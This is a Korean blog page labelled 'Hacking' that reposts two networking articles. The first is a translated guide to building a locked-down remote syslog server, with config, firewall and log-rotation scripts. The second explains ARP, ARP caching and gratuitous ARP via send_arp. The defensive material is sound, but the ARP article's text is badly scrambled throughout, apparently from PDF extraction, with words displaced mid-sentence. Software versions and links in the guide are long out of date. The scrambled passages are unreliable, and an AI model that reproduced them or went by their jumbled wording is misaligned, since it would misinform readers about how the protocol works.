RSS구독하기:SUBSCRIBE TO RSS FEED
즐겨찾기추가:ADD FAVORITE
글쓰기:POST
관리자:ADMINISTRATOR
'Hacking'에 해당되는 글 9
출처 블로그 > 불행한 바보
원본 http://blog.naver.com/deepinheart/20000824189
원격 로그 서버 만들기 완벽 가이드

좀 오래된 문서이기는 하나 괜찮은 문서 같아서 올려 봅니다.
좀 오랫된 문서라서 설치 설명에 사용되는 명령어나 패키지들의 버전이 낮지만 설정하는데에는 크게 문제가 되지 않을 겁니다.
이문서를 토대로 혹 최신 버전에서 설치를 하시는 분들은 성공기/체험기나 제가 메일을 주시면 해당 성공기를 올려 드리도록 하겠습니다.

원격 로그 서버 만들기 완벽 가이드
(Complete Reference Guide to Creating a Remote Log Server)

번역 : 이국현 (errai@hitel.net)
영문원문링크:http://www.linuxsecurity.com/feature_stories/remote_logserver-1.html
한글원문링크:http://www.linuxlab.co.kr/docs/01-01-1.htm

이 문서는 Eric Hines에 의해 쓰여진 것으로, 원격 로그서버를 만들기 위한 자세한 설명과 설정방법등을 다룰 것이다.

소개(INTRODUCTOIN)
우선 본 문서에서 언급하고 있는 유틸리티들의 README 화일들에 대해서 열심히 공부해 볼 것을 권한다. 그리고 문서를 읽다 보면 나오는 단어 중 SERVER는 원격 머신(CLIENTS)들로부터 log를 받도록 설정되어진 컴퓨터이고, CLIENT는 원격 로그 서버(REMOTE LOG SERVER)에게 log를 보내도록 설정 되어진 컴퓨터임을 나타낸다.

A. 원격 로그 서버란 무엇인가?(WHAT IS A REMOTE LOG SERVER)
원격 로그서버는 다른 시스템들의 log들을 저장할 하드 드라이브 공간을 제공하도록 미리 설정되어진 시스템일 뿐 그 이상도 이하도 아니다.
이 시스템은 완벽한 보안으로 차단되어 있어야만 한다. 모든 RPC 데몬들이나 다른 기타 서비스들도 암호화되지 않고서는 절대 접근이 허락되지 않는다. 데이타들은 오직 UDP/Port 514 번을 통해서만 전송이 허락된다.
로그서버에 대한 자세한 설정 및 설치등에 대해서 하나씩 하나씩 접근해 보기로 하자.
([역자주] : UDP port 514번은 syslog가 사용하고 있다)

B. SYSLOGD
syslogd의 재 컴파일(Recompiling syslogd)

여러분 컴퓨터에서 원격으로 로그를 남기는 능력을 작동시키기 위해서 첫번째로 할 일은 syslogd의 재 컴파일이다. 이것은 보안상의 이유로써 syslog.conf 화일이 아닌 다른 화일을 읽도록 하기 위함이다. 자세한 내용은 나중에 다루겠다.

NOTES : 이 아이디어는 Lance Spitzner가 쓴 "To Build a Honeypot"이란 whitepaper를 통해 얻게 되었다. 보안 공동체를 위해 공헌을 한 Lance에게 감사의 말을 전한다.
이 뛰어난 아이디어는 침입자가 이 시스템에는 원격 로그를 남기는 기능이 없다고 착각하게 만드는 것이다. 이전에 사용한 /etc/syslog.conf 화일을 남겨놓음으로써 예기치 못한 크래커를 속이는데 도움을 줄 것이다.

STEP 1 : 새로운 버젼으로 컴파일하기 (COMPILING OUR NEW VERSION)
우선 여러분의 운영체제에는 기본적으로 syslogd가 설치되어 있을 것이고 소스코드는 함께 들어있지 않을 것이다. 여러분은 우선 RedHat 이나 Joey's FTP site(syslogd의 개발자)를 통해 소스 코드를 다운로드 받아야 한다. 여러분의 배포판에서 소스 코드를 제공하지 않는다면 오픈 소스 정책에 위반되는 것이다. 그러므로 아래의 링크에서 소스를 다운받길 원하지 않는다면 여러분의 OS vender에서 소스코드를 얻기 바란다. 

SITE 1:ftp://ftp.infodrom.north.de/pub/people/joey/sysklogd/
혹은
SITE 2:ftp://ftp.sourceforge.net/pub/mirrors/redhat/redhat/redhat-6.2/SRPMS/SRPMS/sysklogd-1.3.31-16.src.rpm

만약 RedHat계열의 사용자일 때 rpm-iv-vsysklogd-1.3.31-16.src.rpm 라고 실행한다면 /usr/src/redhat/SOURCES/sysklogd-1.3-31 에 인스톨 될 것이다.

STEP 2 : 기본 설정 화일 위치 변경하기(CHANGING THE DEFAULT CONFIG FILE LOCATION)
여기는 재미있는 부분이다. 이것은 침입자가 여러분의 log화일이 local에 저장된다고 생각하게끔 속인다. 우리는 syslogd가 다른 설정 화일을 읽도록 재컴파일을 할 것이다. 기본으로 설정되어있는 옛 화일은 침입자가 원격 로그가 기록되는지 cat 등을 실행해서 /etc/syslog.conf를 들여다 보았을 때 속일 수 있을 것이다. 재컴파일해서 새로운 바이너리를 얻더라도 옛 설정화일은 남겨놓도록 하자.

기본 설정인 /etc/syslog.conf 를 고친다.

[ehines@myhost sysklogd-1.3-31]$ cd /usr/src/redhat/SOURCES/sysklogd-1.3-31
[ehines@myhost sysklogd-1.3-31]$ vi syslogd.c

syslog.conf 부분을 찾는다.
#define _PATH_LOGCONF   "/etc/syslog.conf"

이제 여러분이 원하는데로 설정 값을 고치면 된다. 여러분은 /etc/.sys/CORE.conf 같이 독창적으로 설정하기 바란다.
새로운 syslogd 바이너리가 생겼다면 이전 것 위에 덮어쓴다.
(대부분은 /sbin/syslogd)이 부분을 실행하기 전에 옛날 버젼은 백업 해두자. 관리자라면 이미 알고 있겠지만, 그렇죠?  :)

NOTES : 간단하게 예전 syslogd를 가지고 (-f 설정화일)형식으로 실행하지 않은 이유는, 침입자가 ps 등으로 프로세스 리스트를 볼 경우 뒤에 붙은 옵션들이 다 보여서 설정화일을 무엇으로 바꾸었는지 다 알게 될 것이다.
그러므로 이와 같은 형식으로 하는게 좋다. 필자는 /etc/syslog.conf 파일을 교묘하게 놔두고, 재컴파일을 통해 설정화일을 바꾸는 것을 추천한다.
그리고 위치만 변경하고 이름은 그대로 두는 것은 위험하다.
간단하게 find / -name "syslog.conf" 로 찾아낼 수 있다.

STEP 3 : 진짜 syslog 설정화일 고치기(MODIFY THE (REAL) SYSLOG CONFIG FILE)
예를 들어, 다음의 syslog.conf 는 모든 메세지를 원격 호스트로 포워딩 하는 것이다.

# 간단하게 모든 메세지를 원격 호스트로 포워딩.
*.*            @hostname

# 모든 커널 메세지를 원격 호스트로 포워딩.
kern.*         @hostname

# 로컬에도 기록하면서 원격으로도 기록을 남김 (실패할 경우 대비)
kern.crit                    @finlandia
kern.crit                    /dev/console

기타등등 여러분이 원하는데로 모든 로그화일을 설정한다.

C. THE CLIENT ( REMOTE LOG SERVER )
클라이언트 서버(혹은 모든 원격 로그들을 수용하는 컴퓨터)는 원격 로그를 남기기 위해서 syslogd에 -r 스위치를 줘서 실행시켜야 한다.  그리고 /etc/services화일에 syslog 514/udp 가 적혀져 있어야 한다.

D. 원격 로그 서버 차단하기(LOCKING DOWN THE REMOTE LOG SERVER)
모든 로그들을 받아들이는 컴퓨터는 완벽하게 외부와 차단되어 있어야 한다.

1. 모든 서비스 종료시키기 (Turn off(ALL SERVICES))

이 컴퓨터는 오직 로그 서버일 뿐이므로 다른 서비스들을 실행시킬 필요가 없다. 다음과 같이 실행한다.

[root@myhost /etc]# cd /etc
[root@myhost /etc]# vi inetd.conf

1) 모든 INETD 서비스 종료시키기 (TURN OFF ALL INETD SERVICES)

여러분은 이 화일에서 '#' 를 추가시킴으로써 주석으로 처리를 할 것이
다. 아래의 모든 서비스들을 주석처리하기 바란다.

a. echo
b. discard
c. daytime
d. chargen
e. time
f. ftp
g. telnet
h. shell
i. login
j. exec
k. comsat
l. talk
m. ntalk
n. dtalk
o. pop-2
p. pop-3
q. imap
r. uucp
s. tftp
t. bootps
u. finger
v. cfinger
w. systat
x. netstat
y. auth
z. linuxconf
zz. swat

2) 모든 RPC 서비스 종료시키기 (DISABLE ALL RPC SERVICES)

[root@myhost /etc]# cd /etc/rc.d

디렉토리를 살펴보면 대문자 "S"로 시작하는 화일들이 보일 것이다. 이것은 시스템이 부팅할 때 시작되는 서비스들이다. 여러분은 mv 명령어를 이용해서 소문자 s로 바꿔주면 된다. 예를 들어 mv S11portmap s11portmap 이라고 해주면 부트 타임때 portmapper 를 시작하지 않게 된다.

아마도 nfslock, apmd, netfs, identd, autofs, portmap, atd, pcmcia 와 isdn, sendmail, gpm, httpd, vmware, xfs,linuxconf, local 같은 서비스들을 꺼주면 될 것이다. rc0.d 에서부터 rc6.d 까지 다 종료시켜 주어야 한다.

2. 계정 삭제(DISABLE ACCOUNTS)

[root@myhost /etc]# vi /etc/passwd

여러분의 패스워드 화일에서 사용하지 않는 계정을 삭제해야 한다. 필자는 /bin/noshell(http://www.
cerias.purdue.edu/coast/archive/data/categ50.html)라는 툴을 다운받을 것을 제안한다.
이것은 계정을 추가하거나 삭제할 때 관리자에게 유용한 프로그램이다.

3. SSH의 설치 (INSTALL SSH)

telnet을 사용하면 sniffing 당할 위험이 있다. 하지만 우리에겐 GNU 오픈소스 공동체의 산물인 OpenSSH이 있다. 자 이제 OpenSSH를 설치해보자.

1) OPENSSH 다운로드 받기 (DOWNLOADING OPENSSH)

여러분의 웹브라우져로 www.openssh.com에 접속한다. 이문서가 쓰여질 때 최신버젼은 version 2.1.1로 SSH1과 SSH2 프로토콜을 둘 다 지원한다. 소스를 다운받고 다음과 같이 한다.

[root@myhost ]# gzip -d openssh-2.1.1p2.tar.gz
[root@myhost ]# tar -xvf openssh-2.1.1p2.tar

모든 사항을 똑같이 할 수는 없을 것이다. 계속 진행하기 전에 INSTALL 화일을 꼭 읽어보기 바란다. 필자는 여러분 각각 시스템이 요구하는 사항까지 이야기 해 줄 수 없다. 이것은 단지 필자의 인스톨을 여러분이 지켜보는 것 일 뿐이다.
우선 Zlib와 OpenSSL을 인스톨을 해야 한다. 

Zlib: http://www.freesoftware.com/pub/infozip/zlib/
OpenSSL 0.9.5a or greater:
http://www.openssl.org/

RPM버젼의 OpenSSL은
http://violet.ibs.com.au/openssh/files/support

GNUmake가 설치되어 있다면 다음과 같이 하면 설치가 될 것이다.

[root@myhost ]# ./configure && make && make install

만약 PAM을 사용한다면 /etc/pam.d/sshd 과 같은 PAM control file도 필요로 할 것이다. 일반적으로는 conrtib/sshd.pam.generic 에 포함하고 있다. 사용하기 전에 여러분의 시스템에 맞게 편집해야 할 것이다. 만약 레
드햇 리눅스 6.2를 사용한다면 contrib/redhat/sshd.pam 이 더 유용할 것이다.
필자는 configure 할 때 --without-pam으로 PAM 지원을 끄는 것을 좋아한다. 만약 발견된다면 PAM은 자동적으로 스위치가 켜질 것이다.
--without-pam 옵션은 대신에 RSA 인증을 사용할 경우에 사용된다.

[root@myhost ]# tar -xvf zlib.tar
[root@myhost ]# cd zlib-1.1.3
[root@myhost zlib-1.1.3]# ./configure && make && make install

설치도중에러가 발생한다면 미안하지만 README 화일을 읽기 바란다. 필자는 에러가 발생하면 README 화일들에서 error에 관련된 사항을 찾아보곤 한다.

OpenSSL을 인스톨 하기 위해서는 다음과 같은 것이 필요하다.
    *  Perl 5
    *  an ANSI C compiler
    *  a supported Unix operating system

[root@myhost ]# tar -xvf openssl-0.9.5a.tar
[root@myhost ]# ./config && make && make test && make install

이제 OpenSSH를 설치한다.

[root@myhost ]# cd openssh-2.1.1p2
[root@myhost ]# ./configure --without-PAM && make && make install

성공적으로 OpenSSH를 컴파일 했다면 다음과 같은 메세지를 보게 된다.
Key generation complete.
Your identification has been saved in /usr/local/etc/ssh _host_key.
Your public key has been saved in /usr/local/etc/ssh _host_key.pub.
The key fingerprint is:
d5:74:83:d0:3f:c4:b4:d6:c5:39:1d:94:ee:9b:a8:61 root
@soc1.priv.nuasis.com
Generating DSA parameter and key.
Your identification has been saved in /usr/local/etc/ssh
_host_dsa_key.
Your public key has been saved in /usr/local/etc/ssh
_host_dsa_key.pub.
The key fingerprint is:
ed:58:65:b9:8b:fe:05:81:c2:8c:06:c9:cb:ac:bb:e6 root
@soc1.priv.nuasis.com

2) OPENSSH의 설정 (CONFIGURING OPENSSH)

기본적으로 설정되어진 것을 사용하더라도 나중에 변경할 때를 대비해서라도 ssh config화일을 봐두자. 설정화일
은 /usr/local/etc/ssh_config, /usr/local/etc/sshd _config 가 있다.
설치가 끝난 후에는 host key와 DSA key가 생성될 것이다.

여러분은 SSH 배포판의 문서를 참조해서 설정을 하기 바란다.

4. 방화벽 (THE FIREWALL)

패킷 필터링은 여러분의 시스템에 어떤 취약점이 발견되지 전까지는 필요하지 않을 것이다. syslog port(514/udp)를 필터링 하는 이유는 syslog server가 쓰레기 값을 전송했을 때 멈출 수 없기 때문이다. 그러나 더 중요한 것은 udp값이 쉽게 spoof될 수 있게 때문이다.
이것은 적어도 여러분이 여러 대의 컴퓨터에서 모든 로그가 하나의 인터페이스로 들어올 때 여러분이 외부로부터 들어오는 모든 것을 안전하게 필터링 하게 해준다.

아래는 리눅스 머신에서 ipchains를 이용한 쉘 스크립트이다.

#!/bin/sh

PATH=/usr/sbin:/sbin:/bin:/usr/sbin

LOCAL_INTERFACE="192.168.1.1/32"
# put your real IP address
LOCAL_NETWORK="192.168.1.0/24"
# put your  local net IP address/mask here
SSH_PERMITTED="192.168.1.2/32 192.168.2.3/32"
# who allowed to ssh
SYSLOG_PERMITTED="192.168.1.5/32 192.168.5.2/32"
# who allowed to log syslog messages

# deny everything
ipchains -P input DENY
ipchains -P output DENY
ipchains -P forward DENY
ipchains -F

#permit ssh
for ipaddr in $SSH_PERMITTED;
do
ipchains -A input -p tcp -s $ipaddr -d 0/0 22 -i $LOCAL_INTERFACE -j
ACCEPT
done

# permit outgoing tcp
ipchains -A output -p tcp -i $LOCAL_INTERFACE -j ACCEPT
ipchains -A input -p tcp ! -y -i $LOCAL_INTERFACE -j ACCEPT

# permit syslog
for ipaddr in $SYSLOG_PERMITTED;
do
ipchains -A input -p udp -s $ipaddr -d $LOCAL_INTERFACE 514 -i \
$LOCAL_INTERFACE -j ACCEPT
done
# if you would like to log all the other connection
#attempts, uncommend these...
#ipchains -A input -p tcp -i $LOCAL_INTERFACE -l -j DENY
#ipchains -A input -p udp -i $LOCAL_INTERFACE -l -j DENY
#ipchains -A input -p icmp -i $LOCAL_INTERFACE -l -j DENY

만약 IP filter 패키지를 이용한다면 대체로 다음과 같을 것이다.
# close everything on local interface
# block in all on le0 from any to any

# pass secureshell
pass in on le0 proto tcp from 192.168.1.2/32 to 192.168.1.1/32 port= 22
pass out on le0 proto tcp from 192.168.1.2/32 to 192.168.1.1/32 port = 22

# or you can replace these two rules with
#pass in on le0 proto tcp from 192.168.1.2/32 to
#192.168.1.1/32 port = 22 keep state
#pass SYSLOG
pass in on le0 proto udp from 192.168.1.2/32 to 192.168.1.1/32 port = 514

5. LOG REPORTING

아무리 좋은 원격 로그 서버를 만들어놔도 여러분이 직접 모니터링 할 수 없으면 무용지물이다. 필자는 다음과 같은 유틸리티를 추천한다.
  *   Logcheck - www.psionic.com
  *   Swatch - www.swatch.org

아래는 간단한 쉘 스크립트(Mr. Bill Pennington)이다. 이것은 매 일/시간/분 로그화일들을 지정된 이름과 장소에 보관한다.

#!/bin/bash
#Simple script to rotate the log files on a daily basis
#Bill Pennington 1/19/2000

#Set the date variable
date=`date +%m-%d-%Y`

#Rename the messages file
mv /var/log/messages /var/log/messages.$date
#HUP the syslog daemon so it writes to a new file
killall -HUP syslogd

#Compress the file
/bin/gzip /var/log/messages.$date
#Rename the secure file
mv /var/log/secure /var/log/secure.$date

#HUP the syslog daemon so it writes to a new file
killall -HUP syslogd

#Compress the file
/bin/gzip /var/log/secure.$date

#Rename mail file
mv /var/log/maillog /var/log/maillog.$date

#HUP the syslog daemon so it writes to a new file
killall -HUP syslogd

#Compress the file
/bin/gzip /var/log/maillog.$date

#Then scp them somewhere

6. 시간 (TIME)

서버는 언제나 정확한 시간과 날짜를 가지고 있어야 한다.  xntpd를 설치한 후에 "ntpdate timeservername"이란 명령을 하루에 적어도 한번정도 실행시켜 줘야 한다.
필자는 하루에 두 번 씩 이 작업을 시킨다. 물론 여러분이 가진 모든 서버에 해야 한다.

7. 다른 SYSLOG 장치 (OTHER SYSLOG DEVICES)

여기에 syslog가 기록하는 것을 설정할 수 있는 CISCO와 같은 다른 장치들이 있다. 여러분의 네트워크와 서버에서 정확한 값을 얻기 위해서는 syslog에서 기록하는 것을 위해 여러분의 모든 장치를 설정해야 한다.

Cisco
모든 Cisco 장치들은 syslog를 지원한다. 아래에 몇 가지 예제가 있지만 직접 여러분의 Cisco 문서를 확인해보기 바란다.

Routers
    In config mode...

    logging <server ip address or name>
    logging facility <facility> defaults to LOCAL7

Pix Firewall
    In config mode... logging host <ip address of syslog server>
logging facility
    <facility> defaults to LOCAL4 logging trap <level> from
    emergencies to debug , be carefull with debug you will get a
ton of traffic!

Switches
    In config mode...

    set logging server enable
    set logging server <ip address of log server>
    set logging session enable
    set logging level all 1 default

Windows NT
여러분은 NT server로 syslog server로 특정작업을 포워딩 시킬 수 있다.
이와 관련된 여러 개의 shareware /freeware  패키지가 있다.
http://www.bhs.com 에서 syslog를 검색해보라.

E. RESOURCES
   * Swatch - http://www.stanford.edu/~atkins/swatch/
   * OpenSSH - http://www.openssh.com
   * LogCheck - http://www.psionic.com/abacus/logcheck/
   * xntp and list of public NTP servers -
http://www.eecis.udel.edu/~ntp/
   * Cisco - http://www.cisco.com
   * Windows NT software - http://www.bhs.com
   * Robert Graham's sniffing FAQ (hints to build `receive-only
device'
      http://www.robertgraham.com/pubs/sniffing-faq.html
   * IP Filter - TCP/IP filtering package:
http://coombs.anu.edu.au/~avalon/

F. 역자 주

개인적으로 판단해서 꼭 필요하지 않다고 하는 내용은 삭제 또는 변경하였습니다. 필자(Eric Hines)가 언급한 번역되지 않은 내용은 원문을 참조하시기 바랍니다. :)

2006/09/08 23:32 2006/09/08 23:32
이 글에는 트랙백을 보낼 수 없습니다
Hacking  2006/09/08 22:43
출처 블로그 > ♡ 나의 라임 오렌지 나무 ♡━˚
원본 http://blog.naver.com/joan7636/120012356815

네트워크 통신의 비밀 ARP
웹브라우저를 띄운 후 아무 생각없이 접속하는 도메인 예 이지만 실제로 이 ( :www.tt.co.kr)
도메인 네임은 내부적으로 에 의해 주소로 바뀌어 로 접속이 되는 것이다 과연 DNS IP IP .
그것이 다인가 그렇지 않다 실제로 요청은 다시 라는 프로토콜에 의해 주 ? . IP ARP MAC
소라는 하드웨어 주소로 변경된 후 접속이 되는 것이다 이 과정은 그리 복잡하지는 않지만 .
이 과정을 제대로 이해하지 않고서는 네트워크 보안 을 이야기 할 수 없을 정도로 많은 것 “ ”
들을 놓치게 된다 실제로 를 이용한 해킹은 그리 낯선 방법도 어려운 방법도 아니다 . ARP .
이번 호에서는 많은 사람들이 그 중요성을 놓치고 있는 구간에서의 통신 프로토콜인 LAN
와 이와 관련하여 숨겨져 있는 재미있는 사실들에 대해 알아보도록 하자 ARP .
오늘과내일 넷센터 홍석범(antihong@tt.co.kr)
과 WAN LAN
흔히들 일상적인 네트워크 구간을 크게 구간과 WAN(Wide Area Network) LAN(Local
구간으로 나눈다 흔히 이러한 과 구간을 나누는 장비로는 게이 Area Network) . WAN LAN
트웨이 역할을 하는 라우터가 담당하는데 혹시 라우터라는 장비를 보신 분들도 있을지 모 ,
르겠지만 라우터라는 장비를 보면 적게는 두 개에서 많게는 몇 십개까지의 많은 인터페이스
랜카드 로 이루어져 있는 것을 볼 수 있을 것이다 이 인터페이스들은 담당하는 역할에 따 ( ) .
라 구간을 담당하는 시리얼 인터페이스와 구간을 담당하는 이더넷 WAN (Serial) LAN
인터페이스로 나눌 수 있다 따라서 흔히들 구간을 시리얼 구간 (Ethernet) . WAN , LAN
구간을 이더넷 구간이라 부르기도 한다 구간에서는 라우터와 라우터간에 서로 약속 . WAN
한 라우팅 프로토콜을 이용해 통신을 하게 되는데 이를테면 전세계적으로 간에 연동시 ,( ISP
에는 라는 프로토콜을 이용하여 연동한다 이에 대해서는 홈페이지등 라우팅 BGP . CISCO
관련 서적을 참고하기 바란다 그렇다면 구간에서는 어떤 프로토콜을 이용하여 서로 .) LAN
통신하게 될까 그렇다 바로 이다 ? . ARP . “ ”
ARP
는 의 약자로서 마치 가 도메인 주소를 주소 ARP Address Resolution Protocol DNS IP
로 바꾸어주는 것처럼 주소를 주소로 변환해 주는 프로토 IP MAC(Media Access Control)
콜이다 그렇다면 주소는 또 무엇인가 주소는 각 이더넷 카드마다 유일한 하드 . MAC ? MAC
웨어 주소로서 이 정보는 리눅스의 경우 로 윈도우즈의 경우 로 확 ifconfig , ipconfig /all
인할 수 있다.
는 일반 유저들에게는 그리 친숙하지 않은 단어이지만 이 프로토콜은 로컬 네트워크의 ARP
매우 중요한 규약이며 를 이해하여야만이 네트워크의 보안을 설명할 수 있을 정도로 ARP
반드시 숙지하여야 할 중요한 프로토콜이다.
와 DNS ARP
를 쉽게 이해하기 위해 아래 그림과 같이 자신의 에서 인터넷을 접속하는 경로를 생 ARP PC
각해 보자 자신의 에서 브라우저를 실행하여 을 입력한 후 엔터를 치면 . PC www.tt.co.kr
해당 도메인의 웹 페이지가 접속이 된다 너무 당연한 것 같은 이 절차는 실제로 어떠한 경 .
로를 통해 접속이 되는 것일까 다소 지루할 지 모르겠지만 전체 네트워크를 이해하기 위해 ?
처음 과정부터 거슬러 올라가 보도록 하자.
자신의 브라우저에서 도메인명을 입력하면 이 요구는 제일 먼저 자신의 에서 설정한 PC
서버 이 서버를 편의상 라 하자 로 가게 된다 서버는 DNS ( DNS Client DNS .) . Client DNS
의 요구 도메인을 주소로 변환 를 받아 자신 스스로가 위임 권 www.tt.co.kr Resolving ( IP )
한이 있는지 즉 자신의 파일에 질의한 도메인이 정의되어 있는지 여부를 ( , /etc/named.conf )
확인하여 없을 경우에는 질의한 도메인에 대한 캐싱이 있는지 여부를 확인하고 있을 경우 ,
바로 해당 정보를 넘겨주지만 없을 경우에는 소위 서버라는 최상위 서버에 질의 root DNS
를 하게 된다 일반적으로 웹 접속시 이라고 입력하지만 실제로 엄격히 . http://www.tt.co.kr
이야기한다면 와 같이 주소의 제일 끝에 을 붙이는 것이 맞는 것이 http://www.tt.co.kr. .
다 여기에서 주소 제일 끝에 있는 을 서버로 부른다 서버는 전 세계적으로 . . root . root 13
개가 있으며 만약 서버에 장애가 생기면 전 세계의 인터넷은 마비가 되고 말 것이다 root .
여하튼 질의를 받은 서버는 질의한 도메인의 주소가 인 것을 보고 을 관장하는 root .kr .kr
서버는 한국 전산원의 서버라는 답을 해 주고 이 답을 받은 서버는 DNS DNS Client DNS
한국 전산원의 서버에 다시 을 질의하게 된다 이 질의를 받은 한국 전 DNS www.tt.co.kr .
산원의 서버는 질의한 도메인이 인 것을 보고 이번에는 을 관장하는 DNS .co.kr co.kr
서버에 다시 질의하라고 응답하고 이 응답을 받은 서버는 다시 을 DNS , Client DNS co.kr
관장하는 서버에 을 질의하게 된다 이 질의를 받은 서버는 DNS www.tt.co.kr . DNS
을 보고 이 도메인을 관장하는 서버는 이라는 것을 알려주게 되고 tt.co.kr DNS ns1.tt.co.kr
이 응답을 받은 서버는 최종적으로 에게 을 질의하여 Client DNS ns1.tt.co.kr www.tt.co.kr
이라는 주소를 알게 되어 이 주소를 요청한 에게 알려주게 된다 211.47.65.1 IP PC .
참고로 이와 같이 서버부터 시작해서 위임 권한이 있는 각 서버로 내려오면서 root DNS
반복적인 질의를 하는 방법을 이라 한다 recursion .
그림 의 예 < 1> DNS recursion
서버로부터 주소를 받은 는 자신의 라우팅 정보에 따라 이 요구를 에 Client DNS IP PC PC
설정되어 있는 게이트웨이 즉 라우터로 넘긴다 이 요청을 받은 라우터는 라우터 자신의 , .
라우팅 프로토콜에 따라 가장 최적화된 비용이 적은 여러 라우터를 경유하여 접속하려는 ( )
서버가 위치한 최종 라우터까지 다다르게 된다 이 경로는 자신의 윈도우즈 의 경우 도 . PC
스 프럼프트에서 목적지 나 리눅스등의 유닉스 계열의 서버일 경우 tracert -d “ ”
목적지 로 확인할 수 있다 "traceroute -n " .
내부 네트워크에서의 통신원리
이제 해당 서버가 있는 라우터에서부터는 구간이므로 앞에서 이야기한대로 가 LAN ARP
작동하게 된다 이 부분을 아래와 같이 간단히 도식화하였고 라우터 하단에는 아래와 같이 .
각각의 주소에 해당하는 주소가 각각 IP MAC 192.168.1.1(AA:AA), 192.168.1.2(BB:BB),
인 시스템이 있다고 약식으로 가정하였다 192.168.1.3(CC:CC) .
그림 내부 네트워크 구성도 < 2>
만약 라우터를 통해 접속하려는 요구가 서버인 이라면 여기에서부터 가 A 211.47.65.1 ARP
작동하게 된다 그런데 구간에서는 서버의 주소를 알아야 통신을 할 수 있는데 . , LAN MAC ,
라우터는 의 주소를 아직 모르기 때문에 라우터에서는 밑단의 네트워크에 211.47.65.1 MAC
대해 인 서버는 주소를 알려 달라는 패킷 이 패킷에는 라 211.47.65.1 MAC Broadcasting (
우터의 소스 주소와 소스 정보를 포함하고 있다 을 보내게 된다 이 패킷은 라우터 IP MAC .) .
하단의 모든 서버들이 받게 되며 이 패킷의 목적지 가 자신이 아닌 나 서버는 이 요 IP B C
청에 대해 응답하지 않으며 이 요청을 받은 서버 가 는 자신의 주소 A (IP 211.47.65.1) MAC
를 적은 패킷을 라우터에게 즉 요청을 한 라우터에게만 로 응답하게 된다 이 Unicast( , arp ) .
렇게 해서 라우터와 서버는 서로의 정보를 알게 되었으므로 드디어 통신을 할 수 A MAC
있게 되었다 아래는 실제 로컬 랜상의 가 실시간으로 하고 있음을 . arp broadcasting
로 캡처한 예이다 아래에서 보는 것처럼 요청 은 tcpdump . arp (arp who-has)
을 하지만 응답 은 즉 를 요청한 에게만 응답 Broadcasting arp (arp reply) Unicast( arp IP )
하는 것을 알 수 있다 참고로 아래 그림에서 를 하는 패킷이 하나가 아니라 몇 . arp reply
개 있는 것은 이 시스템의 환경이 이기 때문이다 이에 대해서는 아래에서 다시 설 dummy .
명하기로 한다.
그림 를 로 잡은 모습 < 3> arp broadcast tcpdump
와 ARP CACHE Gratuitous ARP
그런데 이렇게 한 번 접속할 때마다 매번 을 하고 를 해야 한다면 , arp broadcasting reply
그만큼 불필요한 프로세스가 발생하게 되고 많은 오버헤드가 유발될 것이다 따라서 라우터 .
및 서버등 각 장비에서는 와 를 한 후에는 이 정보를 바로 폐기하지 않 arp broadcast reply
고 일정 시간동안 캐시를 하게 된다 기종과 계열에 따라 다소의 차이는 있지만 많은 데이 .
터의 교환이 있는 라우터는 통상 시간 서버는 초 동안 캐시를 하게 된다 리눅스의 경 4 , 60 .
우 현재 시스템에서의 캐시는 아래와 같이 확인 결과 초로 설정되었다는 것을 알 수 있 60
으며 튜닝 으로 이 값을 적절히 조절할 Soft Kernel (sysctl -w kernel_parameter=value)
수 있다.
# sysctl -a|grep gc_stale_time
net.ipv4.neigh.eth0.gc_stale_time = 60
net.ipv4.neigh.lo.gc_stale_time = 60
net.ipv4.neigh.default.gc_stale_time = 60
현재 리눅스 시스템의 캐시정보는 아래와 같이 를 입력하면 된다 arp arp -a .
그림 캐시 정보 확인 < 4> arp
아래와 같이 라우터에서도 를 캐시하고 있는 것을 확인할 수 있다 arp .
그림 라우터의 캐시 < 5 > arp
여기에서 주의할 점은 는 내부 에서만 의미가 있으므로 라우터를 벗어난 , arp LAN WAN
구간에서는 의미가 없으며 구간에서도 브로드 캐스팅 도메인 영역에서만 의미가 있다 LAN
는 것이다 따라서 캐시는 해당 서버에 접근하는 모든 클라이언트나 서버에 대해서 캐 . arp
시하는 것이 아니라 로 되어 있을 경우 해당 영역 위의 경우 C Class netmask (
대역 만 캐시하는 것을 볼 수 있다 가끔 여러분의 서버나 의 이더넷 카드 211.47.65.0 ) . PC
를 변경하였을 때 바로 인식이 되지 않고 빠르면 몇 분 길게는 몇 시간까지 기다린 후에야 ,
네트워크가 다시 작동하는 것을 경험해 보았을 것이다 이를테면 이더넷 카드를 기존의 .
에서 계열로 바꾸었고 커널에서도 잘 인식이 되었다 모듈도도 해 보 RealTek 8139 3com , .
고 커널에 정적으로 포함시켜 보기도 하고 분명 시스템에서는 정상적으로 이더넷 카드를 ,
인식하고 설정도 전혀 문제가 없는데 네트워크가 작동하지 않는 경우가 있다 왜 그럴까 , . ?
이제 여러분은 이 이유를 알 수 있을 것이다 그렇다 바로 캐시 때문이다 앞에서 라우 . . arp .
터는 평균 시간정도 를 캐시한다고 말했다 따라서 이더넷 카드를 변경했다면 해당하 4 arp .
는 에 대한 주소가 변경되었는데 라우터에서는 이전의 정보를 캐시하고 있는 것 IP MAC ,
이다 즉 의 주소를 이 아닌 이전의 으로 인식하고 있는 . , 211.47.65.1 MAC 3com RealTek
것이다 따라서 외부에서 라우터를 통해 로 접속 요구가 들어왔을 때 라우터는 . 211.47.65.1
이전의 정보인 주소를 가지고 있는 서버를 찾는데 이미 은 AA:AA MAC , 211.47.65.1
의 주소인 로 변경되었고 기존의 주소는 존재하지 않기 3com MAC HH:HH AA:AA MAC
때문에 접속할 수 없게 되는 것이다 만약 이더넷 카드를 변경 후 바로 네트워크가 되었다 .
면 다행히 캐시가 작동하지 않았거나 캐시 시간이 짧았기 때문이었을 것이다 그런데 arp .
캐시 때문에 캐시가 업데이트 될 때까지 무작정 기다리기만 해야 한다면 너무 불합리 arp
하지 않은가 당장 서비스도 중지없이 해야 하는데 말이다 ? .
이를 위해서는 라는 것을 사용하면 된다 는 로컬 랜상의 Gratuitous arp . gratuitous arp
캐시 정보를 업데이트하는 로서 이를 실행하면 모든 캐시 정보를 바로 업데이트 arp arp
할 수 있다 리눅스에서는 라는 실행파일을 이용하면 되며 이 실행 파일은 클러 . send_arp
스터링 패키지인 라는 패키지에 포함되어 있다 piranha .
사용 방법은 인데 만약 send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr ,
디렉토리에 실행 파일이 있고 의 정보를 기존의 /usr/sbin send_arp 211.47.65.1 MAC
에서 로 변경하여 이 정보를 업데이트하려면 아래와 같이 실행하면 될 것이 AA:AA HH:HH
다.
# /usr/sbin/send_arp 211.47.65.1 HHHH 211.47.65.255 ffffffffffff
